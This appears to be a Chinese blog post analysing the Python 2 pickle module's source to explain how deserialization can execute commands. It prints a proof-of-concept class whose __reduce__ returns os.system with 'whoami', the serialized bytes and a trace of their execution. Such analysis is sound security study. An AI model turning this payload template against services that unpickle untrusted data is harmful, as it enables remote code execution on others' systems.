当前位置: 首页 > news >正文

Python 反序列化安全问题(二)


python pickle允许类定义__reduce__方法来声明如何进行序列化。其返回字符串或者tuple,前者可能代表着一个python的全局变量的名称,后者则是描述在反序列化过程中如何进行重构。安全问题也是主要出在后者,本文主要针对于该情况进行pickle模块源码分析。

一、源码分析

代码结构可以分为:基础变量、自定义异常类、操作变量、序列化以及反序列化类以及普通函数。

1.1 基础变量

代码(28-57行)最先定义了部分变量,如最高协议号还有代码中使用了struct.pack()以及marshal.loads()进行序列化和反序列化,并且解释了为何用这两个函数。

1.2 自定义异常类

代码(59-85行)中自定义了4个异常类,分别为PickleError、PicklingError、UnpicklingError以及_Stop.

  1. PickleError:PickingError和UnpicklingError的基类
  2. PicklingError:序列化过程中异常
  3. UnpicklingError:反序列化过程中异常
  4. _Stop:在反序列化过程中结尾处触发该异常

1.3 操作变量

代码(99-126行)定义了操作变量,我们可以理解为操作指令,每一个变量都对应着相关操作,这些指令在序列化的过程中写入,然后在反序列化过程中读取进行对应操作;我们主要理解如下操作指令。

  1. c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
  2. p:将堆栈中索引为-1的对应存储入内存。
  3. (:将一个标记对象插入到堆栈中。
  4. t:构建元组压入堆栈。
  5. S:读取字符串进行处理之后压入堆栈。
  6. R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
  7. .:调用_Stop结束反序列化。

1.4 序列化以及反序列化类

代码定义了Pickler和Unpickler类,这两个类是pickle模块进行序列化反序列化的核心,下面看其实现过程:

1.4.1 序列化过程

  1. dumps函数接收参数后首先进行Pickler类的初始化,然后调用类中的dump函数进行序列化。
  2. dump()函数首先调用save函数,save函数可以看做字典类型调度器,key为需要进行序列化的对象的type,value为对应type的存储函数名。例如如果序列化对象为[1, 2, 3],也就是list类型,save函数判断完类型之后,在调度器内查找对应的方法save_list,然后调用结束后将结果写入内存中,最后dump函数写入结束符号完成整个序列化过程。
  3. 如果上一步查询调度器并没有查询到对应的方法,即对象的type不在NoneType/bool/builtin/classobj/dict/float/function/instance/int/list/long/str/tuple/type/unicode这些类型中的时候,首先查看是否存在__reduce_ex__,如果存在则不再查找__reduce__,不存在的话则继续查找__reduce__;进而判断该函数返回值是string还是tuple,前者进入save_global;后者进入危险开始的save_reduce函数。
  4. save_reduce会将__reduce__返回的tuple结果,调用save_tuple方法进行序列化存储

序列化流程图
测试代码

import os
class A():
    def __reduce__(self):
        a = 'whoami'
        return (os.system, (a,))
print type(A)
print dumps(A)
print type(A())
print  dumps(A())
class B(object):
    def __reduce__(self):
        a = 'whoami'
        return (os.system, (a,))
print type(B)
print  dumps(B)
print type(B())
print dumps(B())

测试结果:

<type 'classobj'>
c__main__
A
p0
.
<type 'instance'>
(i__main__
A
p0
(dp1
b.
<type 'type'>
c__main__
B
p0
.
<class '__main__.B'>
cnt
system
p0
(S'whoami'
p1
tp2
Rp3
.

上述结果可以看出如果我们要达到执行任意代码的目的,需要使用的是第四种即dumps(B())才能进入到save_reduce方法,前三种只能调用save_global方法,只是对于命名引用进行序列化,所以也只能使用于相同环境中,否则在反序列化的过程中会报错。

1.4.2 反序列化过程

反序列化和序列化的过程挺相似,按字节读取然后在调度器中查找对应的处理函数;上面我们提到过一些操作指令,反序列化的调度器中将上述的操作指令作为key,处理函数作为value,此处主要分析上述最后一个实例的反序列化过程。

序列化的结果:

cnt
system
p0
(S'whoami'
p1
tp2
Rp3
.

反序列化过程:

  1. 读取第一个字符c,查询调度器,对应的方法为load_global;
  2. 调用load_global,读取该行将该行后面nt作为模块名,下一行system作为方法名,两者作为参数进入find_class;
  3. find_class的目的就是返回nt.system方法,然后将返回结果压入堆栈中;该方法的代码如下所示:
    def find_class(self, module, name):
        __import__(module)
        mod = sys.modules[module]
        klass = getattr(mod, name)
        return klass
  1. 继续读取字节p,调用load_put,load_put从堆栈中获取最后一个对象,放入内存中,p后面的数字,为key;
  2. 继续读取字节(,调用load_mark,将object()压入堆栈;
  3. 继续读取字节S,调用load_string,将'whoami'去除" '压入堆栈;
  4. 到目前堆栈中有3个对象,分别为nt.system、object()、whoami;继续读取p,将whoami存储到内存中,key为1;
  5. 读取字节t,调用load_tuple,其首先调用marker获取object()的索引号,此处为1,然后将stack[1:]变为('whoami',),也就是说执行完这一步操作之后,堆栈中只有nt.system和('whoami',);
  6. 读取字节p,调用load_put,将('whoami',)存储如内存,key为2,;
  7. 读取字节R,调用load_reduce,运行nt.system('whoami'),得出结果之后赋值给堆栈索引为-1;
  8. 读取p,调用load_put,将结果存储到内存;
  9. 读取.,即结束符号,清空堆栈,结束反序列化。

总结

序列化以及反序列化其实是给每种能够识别出来的类型的对象一个既定的方式去进行序列化或者反序列化,如果碰到不认识的,那就去查找__reduce__,将其序列化,然后在根据它去进行反序列化过程中的重构;
从上面的分析过程中可以看出,如果我们要在反序列化的过程中去执行命令,就要满足在序列化的时候能执行save_reduce,然后在反序列化的过程中才能执行load_reduce,进而执行命令;

相关文章:

  • collection和collections的区别
  • Eclipse自动补全增强
  • H264 RTP封包原理(转载)
  • (转)Groupon前传:从10个月的失败作品修改,1个月找到成功
  • Intellij IDEA 热部署处理
  • Angular Material 攻略 03 angular Material Design 安装
  • urllib2 的使用细节(转)
  • 半理解系列--Promise的进化史
  • 游戏引擎大全
  • 【Lv1-Lesson008】A Guide to Birthdays
  • ARM9 S3C2440 定时器中断
  • 可复制的领导力(来自樊登读书会)
  • C++中的const成员函数(函数声明后加const,或称常量成员函数)用法详解
  • 孩子做错事不认错怎么办
  • iOS app被审核拒绝后如何打开解决方案中心的记录
  • ES6指北【2】—— 箭头函数
  • java中的hashCode
  • React Native移动开发实战-3-实现页面间的数据传递
  • React中的“虫洞”——Context
  • 闭包--闭包作用之保存(一)
  • 从@property说起(二)当我们写下@property (nonatomic, weak) id obj时,我们究竟写了什么...
  • 搭建gitbook 和 访问权限认证
  • 分布式熔断降级平台aegis
  • 聊聊sentinel的DegradeSlot
  • 前端每日实战:61# 视频演示如何用纯 CSS 创作一只咖啡壶
  • 深入浅出Node.js
  • 原生js练习题---第五课
  • 源码安装memcached和php memcache扩展
  • 主流的CSS水平和垂直居中技术大全
  • ​​​【收录 Hello 算法】10.4 哈希优化策略
  • ​如何防止网络攻击?
  • ​云纳万物 · 数皆有言|2021 七牛云战略发布会启幕,邀您赴约
  • (2024,RWKV-5/6,RNN,矩阵值注意力状态,数据依赖线性插值,LoRA,多语言分词器)Eagle 和 Finch
  • (C#)if (this == null)?你在逗我,this 怎么可能为 null!用 IL 编译和反编译看穿一切
  • (Pytorch框架)神经网络输出维度调试,做出我们自己的网络来!!(详细教程~)
  • (八)Spring源码解析:Spring MVC
  • (独孤九剑)--文件系统
  • (二)pulsar安装在独立的docker中,python测试
  • (附源码)计算机毕业设计大学生兼职系统
  • (机器学习-深度学习快速入门)第三章机器学习-第二节:机器学习模型之线性回归
  • (六)c52学习之旅-独立按键
  • (四)linux文件内容查看
  • (五)c52学习之旅-静态数码管
  • (一) springboot详细介绍
  • (一)Neo4j下载安装以及初次使用
  • (一)项目实践-利用Appdesigner制作目标跟踪仿真软件
  • (正则)提取页面里的img标签
  • (转) SpringBoot:使用spring-boot-devtools进行热部署以及不生效的问题解决
  • (转)Oracle存储过程编写经验和优化措施
  • (转载)OpenStack Hacker养成指南
  • .NET Core 将实体类转换为 SQL(ORM 映射)
  • .net MVC中使用angularJs刷新页面数据列表
  • .NET Standard 的管理策略
  • .NET(C#、VB)APP开发——Smobiler平台控件介绍:Bluetooth组件
  • .net下简单快捷的数值高低位切换